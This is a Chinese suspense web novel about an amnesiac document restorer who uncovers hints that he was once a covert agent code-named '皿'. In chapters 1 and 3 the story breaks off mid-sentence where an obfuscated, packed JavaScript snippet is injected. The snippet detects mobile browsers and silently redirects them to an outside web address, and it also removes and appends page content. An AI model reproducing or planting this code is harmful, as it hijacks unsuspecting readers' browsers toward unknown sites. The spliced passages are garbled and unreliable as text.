《第147场雨》 1. 第147场雨 纸条上的字迹,是君荼白自己的。 可他不记得写过这个。 纸片边缘沾着暗红,像干涸的血。背面画着一个扭曲的、首尾相连的环——与他每周三凌晨在卧室窗玻璃上无意识画出的,一模一样。 “星期三的雨,下到第147场了。” 陌生的男人留下这句话,就消失在了咖啡馆门外的雨幕里。潮湿的冷气灌进来,裹着铁锈与檀香的、只存在于君荼白嗅觉里的气味。 他捏着纸片,指尖冰凉。 一切始于七小时前。 03:17。电子钟幽光闪烁。 君荼白在雨声中准时睁眼,像一具被上好发条的人偶。连续十七个星期三,分秒不差。 左手腕内侧的旧痕灼热发烫,他怀疑皮下是不是埋着一枚即将引爆的炸弹。三年前他在图书馆地下室昏迷后醒来,就有了这道痕。校医说是割伤,但他不记得任何受伤的瞬间。 也不记得那天为什么去地下室。 记忆像被精准擦除的磁带,只留下刺眼的空白。 他突然坐起身。在意识完全清醒之前,身体已经自行动作——赤脚下地,走向窗边。 雨点敲打着玻璃,霓虹在水雾中晕成流动的色块。指尖划过玻璃表面,一个扭曲的环自动成形。 首尾咬合。无限循环。 陌生的熟悉感如潮水涌来,带来一阵尖锐的头痛。昏暗的走廊、摇晃的烛火、遥远的哭声——碎片般的画面闪过,又迅速沉入黑暗。 又是那股气味:铁锈混着檀香。 穿衣时,他习惯性地闻了一下卫衣袖口。洗衣粉的洁净味道下,依然有的那股铁锈和檀香。 “荼白?又醒了?” 室友林澈含糊的声音从隔壁传来。 “雨声太吵了。”君荼白回答。这个理由用了太多次,近乎本能。 “你该去看看医生……总这样半夜醒来……我都快神经衰弱了、君荼白!”林澈咆哮。 君荼白愧疚了一秒。然后走到书桌前,台灯照亮摊开的古籍修复笔记、泛黄的复印件、半杯冷茶。一个普通的文献修复专业研究生,普通的夜晚。 除了他左手腕的痕,还在持续发烫。 而且他的身体会带他做下一个动作。三小时后,他会“准时”前往“渡口”咖啡馆,坐在靠窗第三张桌子,喝一杯杯沿带裂纹的、早已准备好的拿铁。 仿佛他的生活,是一卷被反复擦拭、只留下固定轨迹的磁带。 下午两点,雨未停。 “渡口”咖啡馆暖气充足,空气里漂浮着咖啡焦香和旧木头的味道。吧台后的服务生小陈看见他,眼神闪烁了一下,很快低下头擦拭杯子。 君荼白走向老位置。深蓝色釉面的咖啡杯已经在那儿了,边缘那道细微的裂纹在灯光下泛着微弱的光。 他没点单,但杯子总是在。 第一次问时,小陈说:“老板交代的,有位常客每周三都点这个。” 后来他不再问。有些真相,追问会撕裂本就稀薄的日常。 他坐下,指尖无意识地摩挲那道裂纹。仿佛他曾无数次重复这个动作。 窗外的城市浸泡在雨幕中。玻璃倒映出他苍白的脸、黑色的头发、过于安静的眼睛。有时候他想,这个无趣的倒影真的是他吗?还是某个借用了他的躯壳、却遗忘了所有约定的精神病? 点唱机飘出哀婉的粤语老歌。每次坐在这里都会听到,他没点过,不过他想这种风格也许是老板的固定嗜好。 歌声到第二段副歌时,左手腕的月牙痕剧痛。 声音像是变成了虫子从皮肤钻进骨头,沿手臂窜上肩膀,最后汇聚在锁骨下方三寸,那里有片淡红色的、像胎记的痕迹,此刻突突跳动,仿佛底下埋着第二颗炸弹。 他闷哼一声,攥紧杯子。 几乎同时,咖啡馆的门被推开。 进来的男人穿着深灰色大衣,肩头湿了一片。他摘下眼镜,用丝绒布慢条斯理地擦拭镜片上的水雾,动作从容得像在进行某种仪式。然后他抬头,目光扫过室内。 在看见君荼白的瞬间,男人的动作停滞了几秒。 君荼白的心脏也跟着漏跳一拍。 他不认识这张脸。但骨髓深处有什么东西苏醒了,像磁铁遇到相反的一极,像黑暗中嗅到同类的气息。 几个破碎画面闪过:烛火摇曳的密室、羊皮纸卷、沾血的手指在书写什么……画面带着铁锈味的悲伤,转瞬即逝。 男人走向靠墙的卡座。君荼白的目光不受控制地追随,看见他手腕从袖口露出一截—— 那里也有一道月牙形的痕迹。 真是一模一样啊。 反胃感骤然涌上,是某种情绪的强行灌注:愧疚、悔恨、一种扭曲到极致的保护欲……这些不属于他的情感,正通过左手腕发烫的痕迹,蛮横地闯入他的感知。 他猛地移开视线,灌下一大口咖啡。苦味压住喉咙的不适。 窗外的雨更大了。一道闪电划破天际,短暂照亮街道对面的书店屋檐。 屋檐下立着一个标枪。 君荼白觉得那就是个标枪,已经阴魂不散地跟了他很久很久,久到他觉得那就是个标枪。 黑色连帽衫,身形挺拔如标枪。那么大的雨,他却一动不动,面朝咖啡馆的方向,帽檐压得很低。 闪电熄灭,人影没入黑暗。 君荼白转回头,发现那个戴眼镜的男人也在看窗外,侧脸线条绷紧,指节微微发白。 手机在口袋里震动。 他掏出来,屏幕亮着,一条来自未知号码的信息: “别回头。” 三个字,他最讨厌谜语人。 君荼白的指尖冰凉又按捺不住好奇心。他就要回头的时候,突然从玻璃窗的倒影里,他看见戴眼镜的男人缓缓起身,朝他走来。 脚步声在安静的咖啡馆里清晰如计时秒表。 一步。两步。三步。 男人停在他的桌旁,影子落在咖啡杯边缘,正好切过那道裂纹。他俯身,在君荼白耳边轻声说: “我叫陆予瞻。”声音压得很低,带着颤抖,像在压抑随时会崩溃的东西,“生日快乐。” 君荼白浑身僵住。 今天不是他的生日。他的生日在七月,现在是深秋。 但男人说完就直起身,留下一张折叠的纸片在桌上,转身走向门口。风铃摇晃,他消失在雨幕里,快得像从未出现过。 纸片是普通的便签纸。君荼白盯着它看了几秒,才伸手拿起。 展开。上面只有一行字: “星期三的雨,下到第147场了。” 字迹太熟悉了——转折的弧度,收笔的力度,逗号尾巴微微上扬的习惯…… 这是他自己的笔迹。 剧烈的头痛毫无征兆地袭来。 颅骨内侧像有什么东西在撕裂、尖叫。破碎的声音在耳膜上炸开: “……这次要藏得更好……” “……不能记得,记得就会露馅……” “……相信身体,相信痛……” 疼痛持续了大概五秒,如潮水退去,留下一身冷汗。君荼白喘息着抬头,发现小陈正担忧地看着他。 “您没事吧?脸色好白……” “没事。”他把纸片攥进手心,纸边缘硌得掌心生疼,“遇到几个跟踪狂,我可能不小心被人开盒了。” 小陈立马掏出手机报警了。 君荼白也没想拦,他早就想报警了,但是懒。 因为身体在疼痛的余韵里又自动进行了下一步——起身,朝后门走去。好崩溃啊,这个场景难道在他白天梦游的时候又演练过无数次吗,为什么肌肉记得每一步。 后门通往窄巷。雨水在凹凸不平的地面汇成浊流。两侧是潮湿的砖墙和枯萎的藤蔓。 君荼白靠在墙上,重新展开纸片。雨水打湿纸面,墨迹晕开,但那个扭曲的环依然清晰,在昏暗光线下仿佛缓慢旋转。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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黑色连帽衫,身形挺拔,正是之前在书店屋檐下那个人。此刻他摘下了帽子,露出一张轮廓分明的脸,眉眼很深,眼神像某种大型犬科动物在确认领地安全。 “君荼白?”警察问。 他点头。 “有人报警,说看到你被可疑人员跟踪。”警察的目光在他和黑帽衫男人之间移动,“这位周屹先生坚持要跟来,确认你的安全。” 周屹微微颔首,没有说话。但他的存在感强烈到有物理重量,沉默地站在那里,就像一堵无形的墙。 雨彻底停了。 云层散开,露出苍白的月亮。路灯把三人的影子拉长,交错在积水的地面上。 君荼白看着周屹,又回头看了眼深不见底的巷子,最后低头看向自己手心的纸片,已被汗水和雨水浸得发软。 三个陌生人:一个留下自己笔迹的偷窥狂,一个有着表演人格的精神病,一个在警灯下沉默守护的跟踪狂。 而他左手腕来历不明的旧痕,还有每周三准时醒来,身体记得大脑遗忘的事,还会在雨夜看见这些奇怪的人。 很明显,他被人做局了。 雨后空气,冷得刺骨。 做完了笔录,他大脑宕机的回到了公寓,君荼白反锁上门,背靠着门板缓缓滑坐在地。 口袋里那张濡湿的纸片像个滚烫的烙铁。他把它拿出来,摊平在冰冷的地板上。 窗外,月光惨白。 就在他目光再次掠过那个扭曲的环时, 纸片上的墨迹,像被月光激活的隐形墨水,缓缓浮现出第二行字。 依旧是那熟悉的笔迹: “别相信他们任何一个。包括‘我’。” 君荼白的呼吸骤然停止。 而他的左手腕在死寂的房间里,从疤痕处开始渗出一点微弱的、冰冷的蓝光。 仿佛某个沉睡了的程序,终于收到了启动信号。。 第147场雨,停了。 但星期三的雨季,在他的世界里,从未真正听过。 2. 肌肉记忆 档案室在地下二层。 日光灯管持续嗡鸣,光线冷白,照在排列到天花板的铁架上,投下栅栏般的阴影。空气里是旧纸、灰尘和防虫剂的味道——对大多数人而言这是陈腐的气息,但对君荼白来说,这是秩序的味道。一切都编号归档,一切都可追溯。 至少,在昨天之前,他还能这样说服自己。 此刻他坐在工作台前,面前摊开的是一份私人文件夹。标签是他自己的笔迹:《病情异常记录(持续观察中)》。 只有三页纸,记录着半年来那些无法解释的瞬间:03:17的准时苏醒、左手腕月牙痕的灼烫、铁锈混檀香的幻嗅、咖啡馆里那个叫陆予瞻的留下的字条、巷子中沈鉴谜语般的情景剧、周屹沉默的跟踪……最后一行是昨晚添加的,墨迹还很新: “归家后,字条背面浮现第二行字:别相信他们任何一个。包括‘我’。左手腕持续低热,伴随轻微蓝光现象,约23分钟后自行消退。” 他放下笔,用右手拇指按压左手腕痕。这底下总像埋着一小块不熄灭的余烬。 也许真的是他想多了。一个在福利院长大、没有任何亲属的孤儿,考上大学,现在他是个研究生在做着文献修复的实习——这样的人,怎么会和那些浑身散发着危险气息的人、精神病、名人扯上关系? 也许一切都是—— 砰。 一声闷响从走廊深处传来,很轻,像厚重的书本掉落在软垫上。 君荼白瞬间绷直了背脊。 他的肩胛骨自然内收,重心下沉,右手无名指与中指无意识地并拢,在桌沿叩出一个节奏:三长,两短。一个他大脑完全陌生的信号节奏。 他又在干什么? 他盯着自己的手指,呼吸微滞。这绝不是文献修复研究员会有的习惯。这更像……某种暗号,或是高度紧张下的自我调节。 走廊里传来脚步声,由远及近,平稳均匀。 通风口栅格的倾斜角度、第三排灯管末端有微弱频闪、身后档案架第七列第二个蓝色文件夹比旁边的凸出约0.5厘米、门轴转动时会发出特定频率的摩擦音…… 这种高度警觉的、近乎战术观察的状态,让他后颈汗毛倒竖。他难道是侦探小说看多了?这是病入膏肓的节奏。 脚步声停在门外。 “荼白?在吗?” 是部门主任老陈的声音。 君荼白的动作快得自己都惊讶——文件夹合拢、塞进抽屉底层、镇纸推到桌角更“顺手”的位置,整个过程不到两秒。做完这一切,他才意识到自己选择的位置:背靠实墙,侧对门口,既能观察全室又避开窗户直射,还有墙体作为紧急掩护。 “在。”他开口,声音非常平稳。 门开了。老陈端着保温杯走进来,花白的头发梳得一丝不苟。 “忙着呢?” “嗯。第三柜的户籍档案,脆化比较严重。”君荼白站起身,目光却落在老陈的鞋尖——左侧鞋帮有新鲜泥点,档案馆内部是水泥地,今天没下雨,泥点从哪里来? “嗯,进度不错。”老陈走近,扫过工作台,“有件事。馆里接了个合作项目,和‘循古基金会’合作修复一批捐赠古籍。那边派顾问过来跟进,我推荐你负责对接。” 君荼白接过老陈递来的名片。纯白卡纸,黑色楷体:“循古基金会”,一个地址,一个电话。没有LOGO,没有头衔。 指尖触及卡片的瞬间,左手腕又开始剧痛。 冰冷的刺痛,像冰锥扎进骨头。同时太阳穴突跳,视野边缘闪过一个快速缩放的画面——像是透过某种光学镜片看到的十字准星,瞬间锁定了一个模糊轮廓。 “好。”他听见自己说,声音像是从很远的地方传来。 “下午两点,三楼小会议室。”老陈拍拍他的肩,走到门口时回头,“对了,你脸色不太好,注意休息。” 门关上。 君荼白撑着工作台,冷汗浸湿了后背。那是一种被锁定的应激反应,是身体在警告他:危险。 他猛地拉开抽屉,重新抽出那份《病情异常记录》。看着自己写下的“幻嗅”、“眩晕”、“陌生男人”,一个荒谬的念头炸开: 这些真的是“病情”吗? 还是这具身体,在试图向失忆的大脑,传递另一个“我”生存过的痕迹? 下午一点五十,君荼白提前进入三楼小会议室。 他没有选择昨天靠窗的位置,而是本能地选了门边、侧对窗户、背靠实墙的角落。这个位置能观察整个房间和门口,不易被窗外直接瞄准,墙体可作为掩护。 他坐下,手指在膝上无意识地叩击:三长,两短。 显然,他已经坦然接受肌肉下意识的动作了。他,累麻了。大脑已断路。 两点整,门被准时推开。 烟灰色西装,剪裁合体。陆予瞻拎着黑色公文包走进来,另一只手摘下眼镜——又是那个动作——用丝绒布擦拭镜片。 “君先生,幸会。”陆予瞻微笑伸手。 君荼白握住那只手。掌心干燥,温度适中,握力恰到好处,对方完美得像计算过的社交表演。 但他的目光在0.5秒内扫描了数个细节:西装袖口内侧有极细微的磨损、无名指指根有一圈几乎看不见的肤色差、镜片反光的角度……以及,那股被古龙水掩盖的、极淡的铁锈檀香味。他安慰自己这是沉迷侦探小说的后遗症,他代入感太强了。 “幸会。好像咱们刚见过,祝我生日快乐?”君荼白松开手,落座。 陆予瞻打开公文包,取出项目计划书推过来:“也是,算是这辈子的第二次见面吧,不过我没吓到你吧。这是基金会捐赠的古籍清单和修复建议。” 君荼白不想再套话了,也懒得去问为什么了。 他直接翻开计划书。目录、简介、预算、时间表……专业得无可挑剔。他的目光停在一个条目上: 《梦溪异闻录·残卷》 旁边标注:年代不详,材质特殊,内容涉及民俗巫蛊,现状——濒危。 “巫蛊……”他念出声。 “是的。”陆予瞻身体微微前倾,手肘撑桌,指尖轻敲木质桌面——三下快,一下慢,重复循环,“这部分内容有学术争议,但作为民俗资料仍有价值。君先生有兴趣?” 君荼白盯着那个敲击节奏,感到轻微眩晕,像沉睡的鱼被石子惊动。 “只是好奇。”他说,“我接触的多是户籍、地契这类实用文献。” “理解。”陆予瞻笑了笑,指尖停下,“但有时候,最不实用的东西反而藏着最真实的……历史。” 他的目光落在君荼白脸上,审视的意味明显。 “或者说,记忆。”陆予瞻靠回椅背,“君先生相信记忆吗?” 问题突兀。 君荼白停顿,说:“我是做文献修复的,只相信有实体承载的东西。” “务实的答案。”陆予瞻的视线扫过君荼白左手腕的位置——尽管被衣袖遮着,“但记忆会藏在血液里,骨髓里,甚至……旧伤疤下面。” 君荼白手指在桌下收紧。 “陆顾问是什么意思?” “只是想到一些民间说法。”陆予瞻重新戴上社交面具,“抱歉,跑题了。我们继续。” 接下来的谈话回归正轨。修复流程、时间安排、人员配置……陆予瞻专业得无可挑剔。但君荼白的心跳从未平复。他的左手腕持续发烫,锁骨下方的皮肤开始微跳。 谈话结束时,陆予瞻取出一个U盘。 “这是《梦溪异闻录》残卷的扫描件,君先生可先评估修复难度。”他将U盘推过来,指尖在桌面轻点,“不过这本书材质特殊,修复时可能释放一些气味。如果闻到任何不寻常的味道,或感到不适,请立刻停止并联系我。” 他又递来一张私人名片,只有一个名字和手机号。 君荼白接过。指尖碰到卡片的刹那,左手腕灼热感加剧,而一段清晰得可怕的碎片记忆炸裂般涌入脑海: 逼仄空间,闪烁的红光,浓烈的铁锈与硝烟味(这次不是檀香!),剧烈心跳,耳边一个急促的声音(不是他自己的)在低吼:“‘皿’已就位!重复,‘皿’已就位!三牲计划最后阶段启动——” 碎片戛然而止。 “君先生?”陆予瞻关切地看着他,镜片后的眼神深不见底。 “没事……”君荼白压下翻腾的心绪,“我可能精神最近有点问题。不过这种气味描述,很特别。” “铁锈。”陆予瞻轻声说,“混着檀香。” 陆予瞻离开后,君荼白在会议室坐了十分钟。 庭院里的灰雀跳进水洼又飞走,溅起水珠。世界看起来平静的正常。 但他记得那段闪回里的每一个字。“皿”。“三牲计划”。这些词像冰锥扎进意识最脆弱的角落。 他起身离开。经过二楼休息区时,听见几个同事低声议论: “……老城区那对夫妻,都半个月了……” “……家里东西 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第二页不是文字,是一幅手绘图。线条粗犷,画着扭曲的人形,被无数细线缠绕。线的一端扎进人形四肢百骸,另一端延伸出画面,仿佛连接虚空。 而人形的左手腕位置,画着一个圈,圈里是月牙形符号。 和他手腕上的一模一样。 君荼白盯着屏幕,手指冰凉。他想移开视线,但做不到。图像仿佛有魔力,锁死他的目光。 然后,图像开始波动。 细线蠕动,延伸,在画面边缘汇聚,凝结成一行小字: “契成三牲,皿承之。三牲者:无悔之牺,无爱之观,无我之卫。” 字迹显现三秒,消失。 屏幕恢复平静。 君荼白猛地后仰,椅子刮出刺耳声响。幻觉?压力后遗症?重度精神病? 他强迫自己冷静,重新看向屏幕。图像未再变化。 但他记得每一个字。契成三牲,皿承之。三牲者:无悔之牺,无爱之观,无我之卫。 “皿”……“三牲”……与闪回记忆瞬间串联! 他关掉PDF,拔出U盘。金属外壳冰凉,但他觉得它在发烫。 把U盘锁进抽屉最里面。 然后他坐在黑暗里,听着自己剧烈的心跳和通风系统的低鸣。 几秒后,他站起来。 他走到档案室角落,蹲下身,用手指关节以特定力度和节奏敲击地砖。 “空。” 下面是空的。这个他工作了一年的房间地下,有隐藏空间。 他的身体陌生的肌肉记忆——在接触足够多线索(异常古籍、被试探的会面、失踪案件、诡异图文)后,自动引导他侦查。 他继续敲击,摸索砖缝。在第三块地砖边缘,摸到一道几乎无法察觉的凹陷。用力按压—— 咔。 地砖弹起半厘米。 下面是幽蓝的微光。光源来自一个金属物体,半埋在地下室的尘土里。君荼白伸手,触到冰凉表面。他把它拿出来。 那是一个老式警用徽章。铜质,边缘磨损严重,但图案清晰:盾牌、麦穗、中央的五星。徽章背面刻着编号,和一行小字: “授子:特殊侦查科代号‘皿’ 服役期限:1998-2003” 1998年?可他现在才二十五岁。1998年他还没出生。 但徽章握在手里的触感,熟悉到令人心颤。仿佛他曾无数次摩挲它,在另一个时空,另一段人生。 而徽章正面的盾牌图案中央,有一个细微的凹痕——月牙形。 和他左手腕的痕迹,完全吻合。 手机在口袋里震动。君荼白机械地掏出它,屏幕亮着,一条新的未知号码信息: “记忆开始苏醒了,''皿''。” “但小心,每一次唤醒,都在他们的观测之下。” 信息末尾附着一张模糊的老照片一角:穿着旧式警服的年轻人背影,正被人推向一扇发光的门。门框上刻着的,正是一个扭曲的环。 而那个背影的轮廓,与君荼白自己,惊人地相似。 他握紧徽章和手机,骨节发白。左手腕月牙痕冰冷刺骨,而心脏在剧烈、兴奋地搏动。 窗外的天空彻底暗沉下来。 新的一场雨,似乎又要开始。 君荼白觉得自己平静的生活可能要被打破了。他可能真的是个精神病。 3. 无声的守护者与分寸的博弈 修复室在地下三层。 没有窗户,只有永恒的白噪音与冷光。恒温恒湿系统维持着精密的秩序——18-22摄氏度,45%-55%湿度,光照强度不超过150勒克斯。这是君荼白赖以生存的“无菌环境”。 但此刻,这间无菌室里正酝酿着一场更高风险的测试。 《梦溪异闻录·残卷》摊在工作台上。君荼白没有修复,而是先确认了三件事: 第一,左手腕月牙痕状态——36.7℃,安静如休眠程序。 第二,身体状态——心率72,但肌肉记忆级的戒备感持续。 第三,今日核心目标:极限测试陆予瞻的反应边界。 他需要创造一个情境——一个普通人绝对无法完美应对的突发危险,观察陆予瞻会怎么做。 上午十点,陆予瞻准时到来。 深灰色高领毛衣,黑色羊毛大衣,无框眼镜。今日的他看起来格外疏离,眼下的淡青色透着一丝不易察觉的疲惫,但他步态依旧稳如磐石。 “君先生。”他点头示意,将棕色工具箱放在备用工作台上,目光习惯性扫过工作台,“修复进展如何?” “遇到一些技术问题。”君荼白起身,指向工作台后方高处的储物柜顶层,“我需要取顶层那套清代修复工具做参考,但梯子……” 他指向墙角的折叠梯——那是一架老旧的铝合金梯,关节处有明显锈迹,展开时总会发出令人不安的“嘎吱”声。 陆予瞻的目光在梯子上停留了一秒:“需要帮忙吗?” “不用,我自己可以。”君荼白走向梯子,手指触碰到冰凉金属时,余光瞥见陆予瞻已经转身去开工具箱,似乎并不在意。 但君荼白知道,陆予瞻的注意力从未离开过这个空间。 他展开梯子,嘎吱声在安静的修复室里格外刺耳。梯子架在储物柜前,高度刚好够到顶层。君荼白踩上第一阶,梯子轻微晃动。 他继续向上。 第二阶。第三阶。 爬到第四阶时,他已经离地两米多。这个高度,如果跌落,足够造成骨折或更严重的伤害。 陆予瞻正在工具箱前整理那些古篆标签的药水瓶,动作从容不迫。但君荼白敏锐地注意到——陆予瞻的身体角度发生了微妙调整。他现在是侧身站立,左肩微微朝向梯子的方向,双脚呈自然分立,重心下沉。 这是随时可以发力的预备姿态。 君荼白继续向上。 第五阶。梯子的晃动更明显了,锈蚀的关节发出不堪重负的呻吟。 他的手已经能够到储物柜顶层。他假装摸索,实际在观察下方陆予瞻的反应。 陆予瞻依然在整理药水瓶,甚至拿起一瓶对着光检查澄明度,神情专注。但君荼白看到——他的左手已经悄然移到了工作台边缘,手指微微扣住台面。 那是计算发力支点的下意识动作。 时机到了。 君荼白深吸一口气,做出了那个精心计算的危险动作—— 他假装要够更里面的工具箱,身体大幅度向□□斜,左脚同时“不小心”踩在了梯子边缘的锈蚀处。 “咔嚓。” 轻微的断裂声。 梯子猛地向□□倒! 重力瞬间失控。君荼白的身体在空中失去支撑,整个人以近乎水平的角度向坚硬的水磨石地面坠去—— 这个角度,这个高度,普通人绝对来不及反应。就算反应过来,也不可能接住。 他会在1秒后重重摔在地上,左肩或后脑首先着地。 但君荼白在坠落中保持着一丝冰冷的清醒:他在赌。赌陆予瞻不是普通人。 时间在那一瞬被拉长。 君荼白看到陆予瞻终于转过头——不是惊慌的猛然转头,而是冷静到可怕的、早有预判的转眸。 然后,陆予瞻动了。 他的动作看起来并不快,甚至有些从容。 他没有冲向梯子,也没有试图去接住君荼白——那在物理上几乎不可能。 他做了一件更精妙的事: 左手手腕一抖,那瓶刚检查完的药水瓶脱手飞出,精准地砸在梯子倾倒路径旁的一个缓冲软垫上——那是君荼白平时用来放置待修复文物的缓冲垫。 药水瓶碎裂,淡黄色液体飞溅。 同时,陆予瞻右脚向前踏出半步,不是踏步,而是用脚背轻巧地勾住了软垫边缘,一挑—— 软垫滑出半米,正好移到君荼白坠落点的下方。 这一切发生在1秒内。 然后,陆予瞻才向前迈步,伸手—— 他没有去接坠落的君荼白,而是伸向君荼白在空中无意识挥动的左手。 他的手指精准地扣住了君荼白的手腕——拇指和食指形成环状,扣在腕骨上方三厘米处,那是最不容易造成二次伤害的受力点。 紧接着,陆予瞻的身体顺着君荼白下坠的力道向下一沉,双膝微屈,重心后移—— 他在引导和缓冲。 君荼白感觉到一股温和但无法抗拒的力道将自己下坠的轨迹改变。原本要直直撞向地面的身体,被巧妙地带偏,变成了一个向侧前方的弧形坠落。 然后,他落入了那个刚好滑到位置的缓冲软垫。 “砰。” 闷响。撞击力被软垫吸收了大半。 但惯性依然存在。君荼白的身体在软垫上向前滑动,眼看要冲出垫子边缘—— 陆予瞻的右手及时托住了他的后颈。 掌心温热,力道稳如磐石,恰到好处地止住了他前冲的势头。 整个过程行云流水,每一个动作都精准、经济、高效,没有任何多余。 君荼白躺在软垫上,喘息着,抬头看向陆予瞻。 陆予瞻正单膝跪在他身侧,左手还扣着他的手腕,右手托着他的后颈。两人的脸距离不到三十厘米。 这么近的距离,君荼白能看清陆予瞻镜片后的眼睛——依然平静,但瞳孔深处有一丝极力克制的东西,像收鞘的刀。 还有他的呼吸,依旧平稳得不可思议,仿佛刚才那套精妙的救援动作,对他而言只是抬手般轻松。 “没事吧?”陆予瞻开口,声音温和,但君荼白听出了一丝极淡的责备——不是责备他的不小心,而是责备他把自己置于这种风险中。 “没……没事。”君荼白的声音有些哑,“谢谢。” 陆予瞻松开手,动作很缓。他先松开托着后颈的右手,然后才放开扣着左手腕的左手。松开时,他的拇指无意识地在君荼白手腕的月牙痕位置轻轻抚过。 只是一瞬。 但君荼白感觉到了。他在确认这道痕是否在刚才的冲击中受到影响。 然后,陆予瞻起身,伸手将君荼白拉起来。力道稳而克制,刚好够他站稳,不多一分。 “梯子该换了。”陆予瞻看向那架已经散架的旧梯,语气平静,“档案馆的安保预算,应该包括这些基础设备。” 他说得像是在陈述一个管理问题。 但君荼白知道,刚才发生的一切,已经暴露了太多。 陆予瞻的应对,不是一个普通基金会顾问该有的能力。那种对时机的精准把握、对力道的精妙控制、对应急预案的瞬间执行——那属于受过极端训练的专业人士。 “陆顾问……”君荼白开口,想试探什么。 陆予瞻却已经转过身,走向工作台。他拿出那个小木盒,打开,取出那枚深褐色化石木印章。 “刚才说到一半。”他将印章递过来,动作自然得像什么都没发生,“这是修复完成后用的收藏印。基金会的老规矩。” 君荼白接过印章。木质温润,那个复杂的符号硌着掌心。 而他的左手腕,此刻正微微发烫。 因为陆予瞻刚才那一瞬间的触碰。 “陆顾问的身手……”君荼白斟酌词句,“很专业。” 陆予瞻抬眼看他,镜片后的眼睛平静无波:“小时候学过些防身术。久了,成了本能。” 很合理的解释。 但君荼白看到了更多细节—— 陆予瞻在说这话时,右手食指无意识地轻敲了一下工作台边缘。两下快,一下慢。 一个君荼白不认识的节奏,但身体莫名觉得熟悉。 “防身术能练到这种程度?”君荼白追问。 陆予瞻的嘴角,几不可察地向上弯了一个极小的弧度。 “只要练得足够久。”他说,目光落在君荼白脸上,那眼神复杂难辨,“久到……成为肌肉记忆。久到哪怕忘记了为什么练,身体也还记得怎么动。” 这句话,像一根针,精准刺入君荼白最深的疑窦。 两人对视。 修复室里只有恒温系统的嗡鸣。 良久,陆予瞻移开视线,开始收拾工具箱:“药水的使用说明在便签上。另外……” 他顿了顿,没有回头。 “君先生。”他的声音很轻,轻得像在自言自语,“试探可以,但别用伤到自己的方式。有些答案,不值得用代价去换。” 说完,他提起工具箱,走向门口。 手放在门把上时,他停顿了一下。 “梯子我会让人换新的。”他说,“在这之前,需要取高处的东西……可以叫我。” 门开了又关。 脚步声远去。 君荼白站在原地,手里握着那枚印章,左手腕的灼热感缓缓消退。 他低头看着自己的手腕,看着那片月牙痕。 然后,他走到那架散架的梯子旁,蹲下身,检查断裂处。 锈蚀是真的。 危险是真的。 但陆予瞻的反应……太完美了。 完美到,像是无数次演练过这种场景。 完美到,像是早已预料到他会这么做。 君荼白闭了闭眼。 测试有了结果——陆予瞻确实不是普通人。他拥有超越常人的反应能力和专业素养。 但更大的疑问产生了:他为什么要隐藏这些?为什么要扮演一个温和的基金会顾问? 还有,他最后那句话……“有些答案,不值得用代价去换。” 他知道自己在试探。 他允许了。 但他划定了底线——不能伤到自己。 这个认知,让君荼白心底涌起一股复杂的情绪。像是有个人在暗处看着他,保护他,引导他,却又拒绝告诉他真相。 他握紧印章,走回工作台。 笔记本摊开,他写下新的记录: “极限测试结果:陆予瞻具备顶级的危机应对能力,反应速度、力量控制、空间判断均远超常人。救援过程展现高度专业训练痕迹。” “关键发现:他对‘肌肉记忆’的描述与我的状况高度吻合。疑似知晓我的‘遗忘’本质。” “态度评估:保护欲强烈,但克制。允许试探,但设定了安全边界。疑似……长期执行某种监护职责。” “暂定推论:陆予瞻可能是我‘过去’的关联者,角色为‘保护者/监督者’。他的隐藏,可能是计划的一部分。” 写完,他锁好笔记本。 窗外天色渐暗。 今天的信息量太大。陆予瞻的深不可测,自己身体里逐渐苏醒的本能,还有那场精心策划却被完美化解的测试…… 但君荼白没有时间沉浸在思考中。 因为傍晚时分,发生了另一件事—— 下午六点,君荼白结束工作,准备离开。 他故意选择了一条偏僻的路线回家——穿过档案馆后面的老仓库区,那里堆满了待处理的废弃档案箱,路灯稀疏,监控死角众多。 他想看看,标枪今天是否还在。 走到仓库区中段时,他听到了声音。 是极轻微的、金属摩擦的声响,从侧面一座废弃仓库里传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051999|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 君荼白停下脚步,隐在一堆档案箱后。 仓库的门虚掩着,里面透出微弱的手电光。两个人影在里面翻找着什么,动作很急。 “快点!那边说就放在这一区……” “古籍库的钥匙搞不到,只能从这里碰运气……” “妈的,这堆破烂里怎么可能有……” 古籍。 君荼白的心脏一紧。 这些人,是冲着《梦溪异闻录》来的? 他正想悄悄退后,通知安保—— 一道黑影,无声无息地出现在了仓库门口。 是周屹。 他依旧穿着那身黑色连帽衫,帽子拉得很低。但此刻他的站姿,让君荼白瞬间想起了上午陆予瞻的那种收敛的爆发姿态。 周屹没有立刻进去。 他先侧身贴在门边,左手抬起,做了几个极快的手势——不是手语,而是战术手语。君荼白虽然看不懂全部,但认出了其中两个:“目标两个”、“无枪”。 他在……向谁汇报? 君荼白环顾四周,没有看到别人。 然后,周屹动了。 他没有走门,而是身形一闪,绕到了仓库侧面一扇破损的窗户下。单手一撑,整个人悄无声息地翻进窗户,落地时连灰尘都没有惊起。 仓库里的两个人毫无察觉。 周屹的移动方式很特别——他始终保持在阴影里,每一步都精准踩在不会发出声响的位置。他的身体压得很低,但动作流畅得像在平地行走。 十秒后,他出现在了那两人身后三米处。 其中一个人似乎感觉到了什么,猛地回头—— 周屹已经在他转头的瞬间欺身而上。 没有冲撞,只是滑步。脚步在地面擦过,几乎没有声音。 然后,他的左手闪电般伸出,三指并拢成刀,精准地戳在那人颈侧某个位置。 “呃……” 那人眼睛一翻,软软倒地。瞬间失去意识,连哼都没哼一声。 第二个人大惊,转身想跑—— 周屹的右脚已经提前半步踩在了他后撤的路径上。 那人撞上周屹的小腿,一个趔趄。 